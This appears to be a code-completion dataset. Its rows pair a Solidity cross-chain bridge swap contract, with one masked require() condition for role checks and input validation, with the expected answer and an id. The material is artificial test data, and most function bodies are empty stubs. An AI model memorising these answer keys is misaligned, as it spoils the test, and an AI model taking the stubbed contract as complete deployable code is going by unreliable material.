* @param newNumOfOtherBlockchain number of new blockchain
*/
function changeOtherBlockchain(
uint128 oldNumOfOtherBlockchain,
uint128 newNumOfOtherBlockchain
)
external
onlyOwner
{
}
// FEE MANAGEMENT
/**
* @dev Changes address which receives fees from transfers
* @param newFeeAddress New address for fees
*/
function changeFeeAddress(address newFeeAddress) external onlyOwnerAndManager
{
}
/**
* @dev Changes fee values for blockchains in feeAmountOfBlockchain variables
* @param blockchainNum Existing number of blockchain
* @param feeAmount Fee amount to substruct from transfer amount
*/
function setFeeAmountOfBlockchain(uint128 blockchainNum, uint128 feeAmount) external onlyOwnerAndManager
{
}
// VALIDATOR CONFIRMATIONS MANAGEMENT
/**
* @dev Changes requirement for minimal amount of signatures to validate on transfer
* @param _minConfirmationSignatures Number of signatures to verify
*/
function setMinConfirmationSignatures(uint256 _minConfirmationSignatures) external onlyOwner {
}
/**
* @dev Changes requirement for minimal token amount on transfers
* @param _minTokenAmount Amount of tokens
*/
function setMinTokenAmount(uint256 _minTokenAmount) external onlyOwnerAndManager {
}
/**
* @dev Changes parameter of maximum gas price on which relayer nodes will operate
* @param _maxGasPrice Price of gas in wei
*/
function setMaxGasPrice(uint256 _maxGasPrice) external onlyOwnerAndManager {
}
/**
* @dev Changes requirement for minimal amount of block to consider tx confirmed on validator
* @param _minConfirmationBlocks Amount of blocks
*/
function setMinConfirmationBlocks(uint256 _minConfirmationBlocks) external onlyOwnerAndManager {
}
/**
* @dev Transfers permissions of contract ownership.
* Will setup new owner and one manager on contract.
* Main purpose of this function is to transfer ownership from deployer account to real owner
* @param newOwner Address of new owner
* @param newManager Address of new manager
*/
function transferOwnerAndSetManager(address newOwner, address newManager) external onlyOwner {
}
/**
* @dev Pauses transfers of tokens on contract
*/
function pauseExecution() external onlyOwner {
}
/**
* @dev Resumes transfers of tokens on contract
*/
function continueExecution() external onlyOwner {
}
/**
* @dev Function to check if address is belongs to owner role
* @param account Address to check
*/
function isOwner(address account) public view returns (bool) {
}
/**
* @dev Function to check if address is belongs to manager role
* @param account Address to check
*/
function isManager(address account) public view returns (bool) {
}
/**
* @dev Function to check if address is belongs to relayer role
* @param account Address to check
*/
function isRelayer(address account) public view returns (bool) {
}
/**
* @dev Function to check if address is belongs to validator role
* @param account Address to check
*
*/
function isValidator(address account) public view returns (bool) {
}
/**
* @dev Function to check if transfer of tokens on previous
* transaction from other blockchain was executed
* @param originalTxHash Transaction hash to check
*/
function isProcessedTransaction(bytes32 originalTxHash) public view returns (bool processed, bytes32 hashedParams) {
}
}
| hasRole(OWNER_ROLE,_msgSender()),"Caller is not in owner role" | 411,644 | hasRole(OWNER_ROLE,_msgSender()) |
"Caller is not in owner or manager role" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/access/AccessControlEnumerable.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "./ECDSAOffsetRecovery.sol";
import "./TransferHelper.sol";
/// @title Swap contract for multisignature bridge
contract SwapContract is AccessControlEnumerable, Pausable, ECDSAOffsetRecovery
{
bytes32 public constant OWNER_ROLE = keccak256("OWNER_ROLE");
bytes32 public constant MANAGER_ROLE = keccak256("MANAGER_ROLE");
bytes32 public constant RELAYER_ROLE = keccak256("RELAYER_ROLE");
bytes32 public constant VALIDATOR_ROLE = keccak256("VALIDATOR_ROLE");
IERC20 public tokenAddress;
address public feeAddress;
uint128 public numOfThisBlockchain;
mapping(uint128 => bool) public existingOtherBlockchain;
mapping(uint128 => uint128) public feeAmountOfBlockchain;
uint256 public constant SIGNATURE_LENGTH = 65;
mapping(bytes32 => bytes32) public processedTransactions;
uint256 public minConfirmationSignatures;
uint256 public minTokenAmount;
uint256 public maxGasPrice;
uint256 public minConfirmationBlocks;
event TransferFromOtherBlockchain(address user, uint256 amount, uint256 amountWithoutFee, bytes32 originalTxHash);
event TransferToOtherBlockchain(uint128 blockchain, address user, uint256 amount, string newAddress);
/**
* @dev throws if transaction sender is not in owner role
*/
modifier onlyOwner() {
}
/**
* @dev throws if transaction sender is not in owner or manager role
*/
modifier onlyOwnerAndManager() {
require(<FILL_ME>)
_;
}
/**
* @dev throws if transaction sender is not in relayer role
*/
modifier onlyRelayer() {
}
/**
* @dev Constructor of contract
* @param _tokenAddress address Address of token contract
* @param _feeAddress Address to receive deducted fees
* @param _numOfThisBlockchain Number of blockchain where contract is deployed
* @param _numsOfOtherBlockchains List of blockchain number that is supported by bridge
* @param _minConfirmationSignatures Number of required signatures for token swap
* @param _minTokenAmount Minimal amount of tokens required for token swap
* @param _maxGasPrice Maximum gas price on which relayer nodes will operate
* @param _minConfirmationBlocks Minimal amount of blocks for confirmation on validator nodes
*/
constructor(
IERC20 _tokenAddress,
address _feeAddress,
uint128 _numOfThisBlockchain,
uint128 [] memory _numsOfOtherBlockchains,
uint128 _minConfirmationSignatures,
uint256 _minTokenAmount,
uint256 _maxGasPrice,
uint256 _minConfirmationBlocks
)
{
}
/**
* @dev Returns true if blockchain of passed id is registered to swap
* @param blockchain number of blockchain
*/
function getOtherBlockchainAvailableByNum(uint128 blockchain) external view returns (bool)
{
}
/**
* @dev Transfers tokens from sender to the contract.
* User calls this function when he wants to transfer tokens to another blockchain.
* @param blockchain Number of blockchain
* @param amount Amount of tokens
* @param newAddress Address in the blockchain to which the user wants to transfer
*/
function transferToOtherBlockchain(uint128 blockchain, uint256 amount, string memory newAddress) external whenNotPaused
{
}
/**
* @dev Transfers tokens to end user in current blockchain
* @param user User address
* @param amountWithFee Amount of tokens with included fees
* @param originalTxHash Hash of transaction from other network, on which swap was called
* @param concatSignatures Concatenated string of signature bytes for verification of transaction
*/
function transferToUserWithFee(
address user,
uint256 amountWithFee,
bytes32 originalTxHash,
bytes memory concatSignatures
)
external
onlyRelayer
whenNotPaused
{
}
// OTHER BLOCKCHAIN MANAGEMENT
/**
* @dev Registers another blockchain for availability to swap
* @param numOfOtherBlockchain number of blockchain
*/
function addOtherBlockchain(
uint128 numOfOtherBlockchain
)
external
onlyOwner
{
}
/**
* @dev Unregisters another blockchain for availability to swap
* @param numOfOtherBlockchain number of blockchain
*/
function removeOtherBlockchain(
uint128 numOfOtherBlockchain
)
external
onlyOwner
{
}
/**
* @dev Change existing blockchain id
* @param oldNumOfOtherBlockchain number of existing blockchain
* @param newNumOfOtherBlockchain number of new blockchain
*/
function changeOtherBlockchain(
uint128 oldNumOfOtherBlockchain,
uint128 newNumOfOtherBlockchain
)
external
onlyOwner
{
}
// FEE MANAGEMENT
/**
* @dev Changes address which receives fees from transfers
* @param newFeeAddress New address for fees
*/
function changeFeeAddress(address newFeeAddress) external onlyOwnerAndManager
{
}
/**
* @dev Changes fee values for blockchains in feeAmountOfBlockchain variables
* @param blockchainNum Existing number of blockchain
* @param feeAmount Fee amount to substruct from transfer amount
*/
function setFeeAmountOfBlockchain(uint128 blockchainNum, uint128 feeAmount) external onlyOwnerAndManager
{
}
// VALIDATOR CONFIRMATIONS MANAGEMENT
/**
* @dev Changes requirement for minimal amount of signatures to validate on transfer
* @param _minConfirmationSignatures Number of signatures to verify
*/
function setMinConfirmationSignatures(uint256 _minConfirmationSignatures) external onlyOwner {
}
/**
* @dev Changes requirement for minimal token amount on transfers
* @param _minTokenAmount Amount of tokens
*/
function setMinTokenAmount(uint256 _minTokenAmount) external onlyOwnerAndManager {
}
/**
* @dev Changes parameter of maximum gas price on which relayer nodes will operate
* @param _maxGasPrice Price of gas in wei
*/
function setMaxGasPrice(uint256 _maxGasPrice) external onlyOwnerAndManager {
}
/**
* @dev Changes requirement for minimal amount of block to consider tx confirmed on validator
* @param _minConfirmationBlocks Amount of blocks
*/
function setMinConfirmationBlocks(uint256 _minConfirmationBlocks) external onlyOwnerAndManager {
}
/**
* @dev Transfers permissions of contract ownership.
* Will setup new owner and one manager on contract.
* Main purpose of this function is to transfer ownership from deployer account to real owner
* @param newOwner Address of new owner
* @param newManager Address of new manager
*/
function transferOwnerAndSetManager(address newOwner, address newManager) external onlyOwner {
}
/**
* @dev Pauses transfers of tokens on contract
*/
function pauseExecution() external onlyOwner {
}
/**
* @dev Resumes transfers of tokens on contract
*/
function continueExecution() external onlyOwner {
}
/**
* @dev Function to check if address is belongs to owner role
* @param account Address to check
*/
function isOwner(address account) public view returns (bool) {
}
/**
* @dev Function to check if address is belongs to manager role
* @param account Address to check
*/
function isManager(address account) public view returns (bool) {
}
/**
* @dev Function to check if address is belongs to relayer role
* @param account Address to check
*/
function isRelayer(address account) public view returns (bool) {
}
/**
* @dev Function to check if address is belongs to validator role
* @param account Address to check
*
*/
function isValidator(address account) public view returns (bool) {
}
/**
* @dev Function to check if transfer of tokens on previous
* transaction from other blockchain was executed
* @param originalTxHash Transaction hash to check
*/
function isProcessedTransaction(bytes32 originalTxHash) public view returns (bool processed, bytes32 hashedParams) {
}
}
| hasRole(OWNER_ROLE,_msgSender())||hasRole(MANAGER_ROLE,_msgSender()),"Caller is not in owner or manager role" | 411,644 | hasRole(OWNER_ROLE,_msgSender())||hasRole(MANAGER_ROLE,_msgSender()) |
"swapContract: Caller is not in relayer role" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/access/AccessControlEnumerable.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "./ECDSAOffsetRecovery.sol";
import "./TransferHelper.sol";
/// @title Swap contract for multisignature bridge
contract SwapContract is AccessControlEnumerable, Pausable, ECDSAOffsetRecovery
{
bytes32 public constant OWNER_ROLE = keccak256("OWNER_ROLE");
bytes32 public constant MANAGER_ROLE = keccak256("MANAGER_ROLE");
bytes32 public constant RELAYER_ROLE = keccak256("RELAYER_ROLE");
bytes32 public constant VALIDATOR_ROLE = keccak256("VALIDATOR_ROLE");
IERC20 public tokenAddress;
address public feeAddress;
uint128 public numOfThisBlockchain;
mapping(uint128 => bool) public existingOtherBlockchain;
mapping(uint128 => uint128) public feeAmountOfBlockchain;
uint256 public constant SIGNATURE_LENGTH = 65;
mapping(bytes32 => bytes32) public processedTransactions;
uint256 public minConfirmationSignatures;
uint256 public minTokenAmount;
uint256 public maxGasPrice;
uint256 public minConfirmationBlocks;
event TransferFromOtherBlockchain(address user, uint256 amount, uint256 amountWithoutFee, bytes32 originalTxHash);
event TransferToOtherBlockchain(uint128 blockchain, address user, uint256 amount, string newAddress);
/**
* @dev throws if transaction sender is not in owner role
*/
modifier onlyOwner() {
}
/**
* @dev throws if transaction sender is not in owner or manager role
*/
modifier onlyOwnerAndManager() {
}
/**
* @dev throws if transaction sender is not in relayer role
*/
modifier onlyRelayer() {
require(<FILL_ME>)
_;
}
/**
* @dev Constructor of contract
* @param _tokenAddress address Address of token contract
* @param _feeAddress Address to receive deducted fees
* @param _numOfThisBlockchain Number of blockchain where contract is deployed
* @param _numsOfOtherBlockchains List of blockchain number that is supported by bridge
* @param _minConfirmationSignatures Number of required signatures for token swap
* @param _minTokenAmount Minimal amount of tokens required for token swap
* @param _maxGasPrice Maximum gas price on which relayer nodes will operate
* @param _minConfirmationBlocks Minimal amount of blocks for confirmation on validator nodes
*/
constructor(
IERC20 _tokenAddress,
address _feeAddress,
uint128 _numOfThisBlockchain,
uint128 [] memory _numsOfOtherBlockchains,
uint128 _minConfirmationSignatures,
uint256 _minTokenAmount,
uint256 _maxGasPrice,
uint256 _minConfirmationBlocks
)
{
}
/**
* @dev Returns true if blockchain of passed id is registered to swap
* @param blockchain number of blockchain
*/
function getOtherBlockchainAvailableByNum(uint128 blockchain) external view returns (bool)
{
}
/**
* @dev Transfers tokens from sender to the contract.
* User calls this function when he wants to transfer tokens to another blockchain.
* @param blockchain Number of blockchain
* @param amount Amount of tokens
* @param newAddress Address in the blockchain to which the user wants to transfer
*/
function transferToOtherBlockchain(uint128 blockchain, uint256 amount, string memory newAddress) external whenNotPaused
{
}
/**
* @dev Transfers tokens to end user in current blockchain
* @param user User address
* @param amountWithFee Amount of tokens with included fees
* @param originalTxHash Hash of transaction from other network, on which swap was called
* @param concatSignatures Concatenated string of signature bytes for verification of transaction
*/
function transferToUserWithFee(
address user,
uint256 amountWithFee,
bytes32 originalTxHash,
bytes memory concatSignatures
)
external
onlyRelayer
whenNotPaused
{
}
// OTHER BLOCKCHAIN MANAGEMENT
/**
* @dev Registers another blockchain for availability to swap
* @param numOfOtherBlockchain number of blockchain
*/
function addOtherBlockchain(
uint128 numOfOtherBlockchain
)
external
onlyOwner
{
}
/**
* @dev Unregisters another blockchain for availability to swap
* @param numOfOtherBlockchain number of blockchain
*/
function removeOtherBlockchain(
uint128 numOfOtherBlockchain
)
external
onlyOwner
{
}
/**
* @dev Change existing blockchain id
* @param oldNumOfOtherBlockchain number of existing blockchain
* @param newNumOfOtherBlockchain number of new blockchain
*/
function changeOtherBlockchain(
uint128 oldNumOfOtherBlockchain,
uint128 newNumOfOtherBlockchain
)
external
onlyOwner
{
}
// FEE MANAGEMENT
/**
* @dev Changes address which receives fees from transfers
* @param newFeeAddress New address for fees
*/
function changeFeeAddress(address newFeeAddress) external onlyOwnerAndManager
{
}
/**
* @dev Changes fee values for blockchains in feeAmountOfBlockchain variables
* @param blockchainNum Existing number of blockchain
* @param feeAmount Fee amount to substruct from transfer amount
*/
function setFeeAmountOfBlockchain(uint128 blockchainNum, uint128 feeAmount) external onlyOwnerAndManager
{
}
// VALIDATOR CONFIRMATIONS MANAGEMENT
/**
* @dev Changes requirement for minimal amount of signatures to validate on transfer
* @param _minConfirmationSignatures Number of signatures to verify
*/
function setMinConfirmationSignatures(uint256 _minConfirmationSignatures) external onlyOwner {
}
/**
* @dev Changes requirement for minimal token amount on transfers
* @param _minTokenAmount Amount of tokens
*/
function setMinTokenAmount(uint256 _minTokenAmount) external onlyOwnerAndManager {
}
/**
* @dev Changes parameter of maximum gas price on which relayer nodes will operate
* @param _maxGasPrice Price of gas in wei
*/
function setMaxGasPrice(uint256 _maxGasPrice) external onlyOwnerAndManager {
}
/**
* @dev Changes requirement for minimal amount of block to consider tx confirmed on validator
* @param _minConfirmationBlocks Amount of blocks
*/
function setMinConfirmationBlocks(uint256 _minConfirmationBlocks) external onlyOwnerAndManager {
}
/**
* @dev Transfers permissions of contract ownership.
* Will setup new owner and one manager on contract.
* Main purpose of this function is to transfer ownership from deployer account to real owner
* @param newOwner Address of new owner
* @param newManager Address of new manager
*/
function transferOwnerAndSetManager(address newOwner, address newManager) external onlyOwner {
}
/**
* @dev Pauses transfers of tokens on contract
*/
function pauseExecution() external onlyOwner {
}
/**
* @dev Resumes transfers of tokens on contract
*/
function continueExecution() external onlyOwner {
}
/**
* @dev Function to check if address is belongs to owner role
* @param account Address to check
*/
function isOwner(address account) public view returns (bool) {
}
/**
* @dev Function to check if address is belongs to manager role
* @param account Address to check
*/
function isManager(address account) public view returns (bool) {
}
/**
* @dev Function to check if address is belongs to relayer role
* @param account Address to check
*/
function isRelayer(address account) public view returns (bool) {
}
/**
* @dev Function to check if address is belongs to validator role
* @param account Address to check
*
*/
function isValidator(address account) public view returns (bool) {
}
/**
* @dev Function to check if transfer of tokens on previous
* transaction from other blockchain was executed
* @param originalTxHash Transaction hash to check
*/
function isProcessedTransaction(bytes32 originalTxHash) public view returns (bool processed, bytes32 hashedParams) {
}
}
| hasRole(RELAYER_ROLE,_msgSender()),"swapContract: Caller is not in relayer role" | 411,644 | hasRole(RELAYER_ROLE,_msgSender()) |
"swapContract: Number of this blockchain is in array of other blockchains" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/access/AccessControlEnumerable.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "./ECDSAOffsetRecovery.sol";
import "./TransferHelper.sol";
/// @title Swap contract for multisignature bridge
contract SwapContract is AccessControlEnumerable, Pausable, ECDSAOffsetRecovery
{
bytes32 public constant OWNER_ROLE = keccak256("OWNER_ROLE");
bytes32 public constant MANAGER_ROLE = keccak256("MANAGER_ROLE");
bytes32 public constant RELAYER_ROLE = keccak256("RELAYER_ROLE");
bytes32 public constant VALIDATOR_ROLE = keccak256("VALIDATOR_ROLE");
IERC20 public tokenAddress;
address public feeAddress;
uint128 public numOfThisBlockchain;
mapping(uint128 => bool) public existingOtherBlockchain;
mapping(uint128 => uint128) public feeAmountOfBlockchain;
uint256 public constant SIGNATURE_LENGTH = 65;
mapping(bytes32 => bytes32) public processedTransactions;
uint256 public minConfirmationSignatures;
uint256 public minTokenAmount;
uint256 public maxGasPrice;
uint256 public minConfirmationBlocks;
event TransferFromOtherBlockchain(address user, uint256 amount, uint256 amountWithoutFee, bytes32 originalTxHash);
event TransferToOtherBlockchain(uint128 blockchain, address user, uint256 amount, string newAddress);
/**
* @dev throws if transaction sender is not in owner role
*/
modifier onlyOwner() {
}
/**
* @dev throws if transaction sender is not in owner or manager role
*/
modifier onlyOwnerAndManager() {
}
/**
* @dev throws if transaction sender is not in relayer role
*/
modifier onlyRelayer() {
}
/**
* @dev Constructor of contract
* @param _tokenAddress address Address of token contract
* @param _feeAddress Address to receive deducted fees
* @param _numOfThisBlockchain Number of blockchain where contract is deployed
* @param _numsOfOtherBlockchains List of blockchain number that is supported by bridge
* @param _minConfirmationSignatures Number of required signatures for token swap
* @param _minTokenAmount Minimal amount of tokens required for token swap
* @param _maxGasPrice Maximum gas price on which relayer nodes will operate
* @param _minConfirmationBlocks Minimal amount of blocks for confirmation on validator nodes
*/
constructor(
IERC20 _tokenAddress,
address _feeAddress,
uint128 _numOfThisBlockchain,
uint128 [] memory _numsOfOtherBlockchains,
uint128 _minConfirmationSignatures,
uint256 _minTokenAmount,
uint256 _maxGasPrice,
uint256 _minConfirmationBlocks
)
{
tokenAddress = _tokenAddress;
feeAddress = _feeAddress;
for (uint i = 0; i < _numsOfOtherBlockchains.length; i++ ) {
require(<FILL_ME>)
existingOtherBlockchain[_numsOfOtherBlockchains[i]] = true;
}
require(_maxGasPrice > 0, "swapContract: Gas price cannot be zero");
numOfThisBlockchain = _numOfThisBlockchain;
minConfirmationSignatures = _minConfirmationSignatures;
minTokenAmount = _minTokenAmount;
maxGasPrice = _maxGasPrice;
minConfirmationBlocks = _minConfirmationBlocks;
_setupRole(DEFAULT_ADMIN_ROLE, _msgSender());
_setupRole(OWNER_ROLE, _msgSender());
}
/**
* @dev Returns true if blockchain of passed id is registered to swap
* @param blockchain number of blockchain
*/
function getOtherBlockchainAvailableByNum(uint128 blockchain) external view returns (bool)
{
}
/**
* @dev Transfers tokens from sender to the contract.
* User calls this function when he wants to transfer tokens to another blockchain.
* @param blockchain Number of blockchain
* @param amount Amount of tokens
* @param newAddress Address in the blockchain to which the user wants to transfer
*/
function transferToOtherBlockchain(uint128 blockchain, uint256 amount, string memory newAddress) external whenNotPaused
{
}
/**
* @dev Transfers tokens to end user in current blockchain
* @param user User address
* @param amountWithFee Amount of tokens with included fees
* @param originalTxHash Hash of transaction from other network, on which swap was called
* @param concatSignatures Concatenated string of signature bytes for verification of transaction
*/
function transferToUserWithFee(
address user,
uint256 amountWithFee,
bytes32 originalTxHash,
bytes memory concatSignatures
)
external
onlyRelayer
whenNotPaused
{
}
// OTHER BLOCKCHAIN MANAGEMENT
/**
* @dev Registers another blockchain for availability to swap
* @param numOfOtherBlockchain number of blockchain
*/
function addOtherBlockchain(
uint128 numOfOtherBlockchain
)
external
onlyOwner
{
}
/**
* @dev Unregisters another blockchain for availability to swap
* @param numOfOtherBlockchain number of blockchain
*/
function removeOtherBlockchain(
uint128 numOfOtherBlockchain
)
external
onlyOwner
{
}
/**
* @dev Change existing blockchain id
* @param oldNumOfOtherBlockchain number of existing blockchain
* @param newNumOfOtherBlockchain number of new blockchain
*/
function changeOtherBlockchain(
uint128 oldNumOfOtherBlockchain,
uint128 newNumOfOtherBlockchain
)
external
onlyOwner
{
}
// FEE MANAGEMENT
/**
* @dev Changes address which receives fees from transfers
* @param newFeeAddress New address for fees
*/
function changeFeeAddress(address newFeeAddress) external onlyOwnerAndManager
{
}
/**
* @dev Changes fee values for blockchains in feeAmountOfBlockchain variables
* @param blockchainNum Existing number of blockchain
* @param feeAmount Fee amount to substruct from transfer amount
*/
function setFeeAmountOfBlockchain(uint128 blockchainNum, uint128 feeAmount) external onlyOwnerAndManager
{
}
// VALIDATOR CONFIRMATIONS MANAGEMENT
/**
* @dev Changes requirement for minimal amount of signatures to validate on transfer
* @param _minConfirmationSignatures Number of signatures to verify
*/
function setMinConfirmationSignatures(uint256 _minConfirmationSignatures) external onlyOwner {
}
/**
* @dev Changes requirement for minimal token amount on transfers
* @param _minTokenAmount Amount of tokens
*/
function setMinTokenAmount(uint256 _minTokenAmount) external onlyOwnerAndManager {
}
/**
* @dev Changes parameter of maximum gas price on which relayer nodes will operate
* @param _maxGasPrice Price of gas in wei
*/
function setMaxGasPrice(uint256 _maxGasPrice) external onlyOwnerAndManager {
}
/**
* @dev Changes requirement for minimal amount of block to consider tx confirmed on validator
* @param _minConfirmationBlocks Amount of blocks
*/
function setMinConfirmationBlocks(uint256 _minConfirmationBlocks) external onlyOwnerAndManager {
}
/**
* @dev Transfers permissions of contract ownership.
* Will setup new owner and one manager on contract.
* Main purpose of this function is to transfer ownership from deployer account to real owner
* @param newOwner Address of new owner
* @param newManager Address of new manager
*/
function transferOwnerAndSetManager(address newOwner, address newManager) external onlyOwner {
}
/**
* @dev Pauses transfers of tokens on contract
*/
function pauseExecution() external onlyOwner {
}
/**
* @dev Resumes transfers of tokens on contract
*/
function continueExecution() external onlyOwner {
}
/**
* @dev Function to check if address is belongs to owner role
* @param account Address to check
*/
function isOwner(address account) public view returns (bool) {
}
/**
* @dev Function to check if address is belongs to manager role
* @param account Address to check
*/
function isManager(address account) public view returns (bool) {
}
/**
* @dev Function to check if address is belongs to relayer role
* @param account Address to check
*/
function isRelayer(address account) public view returns (bool) {
}
/**
* @dev Function to check if address is belongs to validator role
* @param account Address to check
*
*/
function isValidator(address account) public view returns (bool) {
}
/**
* @dev Function to check if transfer of tokens on previous
* transaction from other blockchain was executed
* @param originalTxHash Transaction hash to check
*/
function isProcessedTransaction(bytes32 originalTxHash) public view returns (bool processed, bytes32 hashedParams) {
}
}
| _numsOfOtherBlockchains[i]!=_numOfThisBlockchain,"swapContract: Number of this blockchain is in array of other blockchains" | 411,644 | _numsOfOtherBlockchains[i]!=_numOfThisBlockchain |
"swapContract: No destination address provided" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/access/AccessControlEnumerable.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "./ECDSAOffsetRecovery.sol";
import "./TransferHelper.sol";
/// @title Swap contract for multisignature bridge
contract SwapContract is AccessControlEnumerable, Pausable, ECDSAOffsetRecovery
{
bytes32 public constant OWNER_ROLE = keccak256("OWNER_ROLE");
bytes32 public constant MANAGER_ROLE = keccak256("MANAGER_ROLE");
bytes32 public constant RELAYER_ROLE = keccak256("RELAYER_ROLE");
bytes32 public constant VALIDATOR_ROLE = keccak256("VALIDATOR_ROLE");
IERC20 public tokenAddress;
address public feeAddress;
uint128 public numOfThisBlockchain;
mapping(uint128 => bool) public existingOtherBlockchain;
mapping(uint128 => uint128) public feeAmountOfBlockchain;
uint256 public constant SIGNATURE_LENGTH = 65;
mapping(bytes32 => bytes32) public processedTransactions;
uint256 public minConfirmationSignatures;
uint256 public minTokenAmount;
uint256 public maxGasPrice;
uint256 public minConfirmationBlocks;
event TransferFromOtherBlockchain(address user, uint256 amount, uint256 amountWithoutFee, bytes32 originalTxHash);
event TransferToOtherBlockchain(uint128 blockchain, address user, uint256 amount, string newAddress);
/**
* @dev throws if transaction sender is not in owner role
*/
modifier onlyOwner() {
}
/**
* @dev throws if transaction sender is not in owner or manager role
*/
modifier onlyOwnerAndManager() {
}
/**
* @dev throws if transaction sender is not in relayer role
*/
modifier onlyRelayer() {
}
/**
* @dev Constructor of contract
* @param _tokenAddress address Address of token contract
* @param _feeAddress Address to receive deducted fees
* @param _numOfThisBlockchain Number of blockchain where contract is deployed
* @param _numsOfOtherBlockchains List of blockchain number that is supported by bridge
* @param _minConfirmationSignatures Number of required signatures for token swap
* @param _minTokenAmount Minimal amount of tokens required for token swap
* @param _maxGasPrice Maximum gas price on which relayer nodes will operate
* @param _minConfirmationBlocks Minimal amount of blocks for confirmation on validator nodes
*/
constructor(
IERC20 _tokenAddress,
address _feeAddress,
uint128 _numOfThisBlockchain,
uint128 [] memory _numsOfOtherBlockchains,
uint128 _minConfirmationSignatures,
uint256 _minTokenAmount,
uint256 _maxGasPrice,
uint256 _minConfirmationBlocks
)
{
}
/**
* @dev Returns true if blockchain of passed id is registered to swap
* @param blockchain number of blockchain
*/
function getOtherBlockchainAvailableByNum(uint128 blockchain) external view returns (bool)
{
}
/**
* @dev Transfers tokens from sender to the contract.
* User calls this function when he wants to transfer tokens to another blockchain.
* @param blockchain Number of blockchain
* @param amount Amount of tokens
* @param newAddress Address in the blockchain to which the user wants to transfer
*/
function transferToOtherBlockchain(uint128 blockchain, uint256 amount, string memory newAddress) external whenNotPaused
{
require(
amount >= minTokenAmount,
"swapContract: Less than required minimum of tokens requested"
);
require(<FILL_ME>)
require(
existingOtherBlockchain[blockchain] && blockchain != numOfThisBlockchain,
"swapContract: Wrong choose of blockchain"
);
require(
amount >= feeAmountOfBlockchain[blockchain],
"swapContract: Not enough amount of tokens"
);
address sender = _msgSender();
TransferHelper.safeTransferFrom(address(tokenAddress), sender, address(this), amount);
emit TransferToOtherBlockchain(blockchain, sender, amount, newAddress);
}
/**
* @dev Transfers tokens to end user in current blockchain
* @param user User address
* @param amountWithFee Amount of tokens with included fees
* @param originalTxHash Hash of transaction from other network, on which swap was called
* @param concatSignatures Concatenated string of signature bytes for verification of transaction
*/
function transferToUserWithFee(
address user,
uint256 amountWithFee,
bytes32 originalTxHash,
bytes memory concatSignatures
)
external
onlyRelayer
whenNotPaused
{
}
// OTHER BLOCKCHAIN MANAGEMENT
/**
* @dev Registers another blockchain for availability to swap
* @param numOfOtherBlockchain number of blockchain
*/
function addOtherBlockchain(
uint128 numOfOtherBlockchain
)
external
onlyOwner
{
}
/**
* @dev Unregisters another blockchain for availability to swap
* @param numOfOtherBlockchain number of blockchain
*/
function removeOtherBlockchain(
uint128 numOfOtherBlockchain
)
external
onlyOwner
{
}
/**
* @dev Change existing blockchain id
* @param oldNumOfOtherBlockchain number of existing blockchain
* @param newNumOfOtherBlockchain number of new blockchain
*/
function changeOtherBlockchain(
uint128 oldNumOfOtherBlockchain,
uint128 newNumOfOtherBlockchain
)
external
onlyOwner
{
}
// FEE MANAGEMENT
/**
* @dev Changes address which receives fees from transfers
* @param newFeeAddress New address for fees
*/
function changeFeeAddress(address newFeeAddress) external onlyOwnerAndManager
{
}
/**
* @dev Changes fee values for blockchains in feeAmountOfBlockchain variables
* @param blockchainNum Existing number of blockchain
* @param feeAmount Fee amount to substruct from transfer amount
*/
function setFeeAmountOfBlockchain(uint128 blockchainNum, uint128 feeAmount) external onlyOwnerAndManager
{
}
// VALIDATOR CONFIRMATIONS MANAGEMENT
/**
* @dev Changes requirement for minimal amount of signatures to validate on transfer
* @param _minConfirmationSignatures Number of signatures to verify
*/
function setMinConfirmationSignatures(uint256 _minConfirmationSignatures) external onlyOwner {
}
/**
* @dev Changes requirement for minimal token amount on transfers
* @param _minTokenAmount Amount of tokens
*/
function setMinTokenAmount(uint256 _minTokenAmount) external onlyOwnerAndManager {
}
/**
* @dev Changes parameter of maximum gas price on which relayer nodes will operate
* @param _maxGasPrice Price of gas in wei
*/
function setMaxGasPrice(uint256 _maxGasPrice) external onlyOwnerAndManager {
}
/**
* @dev Changes requirement for minimal amount of block to consider tx confirmed on validator
* @param _minConfirmationBlocks Amount of blocks
*/
function setMinConfirmationBlocks(uint256 _minConfirmationBlocks) external onlyOwnerAndManager {
}
/**
* @dev Transfers permissions of contract ownership.
* Will setup new owner and one manager on contract.
* Main purpose of this function is to transfer ownership from deployer account to real owner
* @param newOwner Address of new owner
* @param newManager Address of new manager
*/
function transferOwnerAndSetManager(address newOwner, address newManager) external onlyOwner {
}
/**
* @dev Pauses transfers of tokens on contract
*/
function pauseExecution() external onlyOwner {
}
/**
* @dev Resumes transfers of tokens on contract
*/
function continueExecution() external onlyOwner {
}
/**
* @dev Function to check if address is belongs to owner role
* @param account Address to check
*/
function isOwner(address account) public view returns (bool) {
}
/**
* @dev Function to check if address is belongs to manager role
* @param account Address to check
*/
function isManager(address account) public view returns (bool) {
}
/**
* @dev Function to check if address is belongs to relayer role
* @param account Address to check
*/
function isRelayer(address account) public view returns (bool) {
}
/**
* @dev Function to check if address is belongs to validator role
* @param account Address to check
*
*/
function isValidator(address account) public view returns (bool) {
}
/**
* @dev Function to check if transfer of tokens on previous
* transaction from other blockchain was executed
* @param originalTxHash Transaction hash to check
*/
function isProcessedTransaction(bytes32 originalTxHash) public view returns (bool processed, bytes32 hashedParams) {
}
}
| bytes(newAddress).length>0,"swapContract: No destination address provided" | 411,644 | bytes(newAddress).length>0 |
"swapContract: Wrong choose of blockchain" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/access/AccessControlEnumerable.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "./ECDSAOffsetRecovery.sol";
import "./TransferHelper.sol";
/// @title Swap contract for multisignature bridge
contract SwapContract is AccessControlEnumerable, Pausable, ECDSAOffsetRecovery
{
bytes32 public constant OWNER_ROLE = keccak256("OWNER_ROLE");
